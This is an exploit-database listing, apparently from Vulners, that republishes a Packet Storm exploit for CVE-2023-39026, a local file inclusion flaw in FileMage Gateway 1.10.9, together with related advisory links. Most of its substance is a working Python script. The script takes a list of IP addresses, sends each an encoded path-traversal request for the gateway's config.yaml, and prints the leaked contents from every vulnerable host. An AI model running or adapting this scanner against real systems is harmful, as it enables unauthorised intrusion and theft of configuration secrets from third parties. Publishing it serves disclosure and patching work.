Lucene search
K

FileMage Gateway 1.10.9 Local File Inclusion

🗓️ 05 Sep 2023 00:00:00Reported by Bryce HartyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 279 Views

FileMage Gateway 1.10.9 Local File Inclusion vulnerability exploit using LFI techniqu

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FileMage Gateway 1.10.9 - Local File Inclusion Exploit
4 Sep 202300:00
zdt
ATTACKERKB
CVE-2023-39026
22 Aug 202322:15
attackerkb
Circl
CVE-2023-39026
23 Aug 202302:12
circl
CNNVD
FileMage 路径遍历漏洞
22 Aug 202300:00
cnnvd
CVE
CVE-2023-39026
22 Aug 202300:00
cve
Cvelist
CVE-2023-39026
22 Aug 202300:00
cvelist
Exploit DB
FileMage Gateway 1.10.9 - Local File Inclusion
4 Sep 202300:00
exploitdb
Nuclei
FileMage Gateway - Directory Traversal
7 Jun 202603:02
nuclei
NVD
CVE-2023-39026
22 Aug 202322:15
nvd
OSV
CVE-2023-39026
22 Aug 202322:15
osv
Rows per page
`# Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion  
# Date: 8/22/2023  
# Exploit Author: Bryce "Raindayzz" Harty   
# Vendor Homepage: https://www.filemage.io/  
# Version: Azure Versions < 1.10.9  
# Tested on: All Azure deployments < 1.10.9   
# CVE : CVE-2023-39026  
  
# Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html  
# Patch from vendor - https://www.filemage.io/docs/updates.html  
  
import requests  
import warnings  
warnings.filterwarnings("ignore")  
def worker(url):  
response = requests.get(url, verify=False, timeout=.5)  
return response  
def main():  
listIP = []  
file_path = input("Enter the path to the file containing the IP addresses: ")  
with open(file_path, 'r') as file:  
ip_list = file.read().splitlines()  
searchString = "tls"  
for ip in ip_list:  
url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"  
try:  
response = worker(url)  
#print(response.text)  
if searchString in response.text:  
print("Vulnerable IP: " + ip)  
print(response.text)  
listIP.append(ip)  
except requests.exceptions.RequestException as e:   
print(f"Error occurred for {ip}: {str(e)}")  
  
for x in listIP:  
print(x)  
if __name__ == '__main__':  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation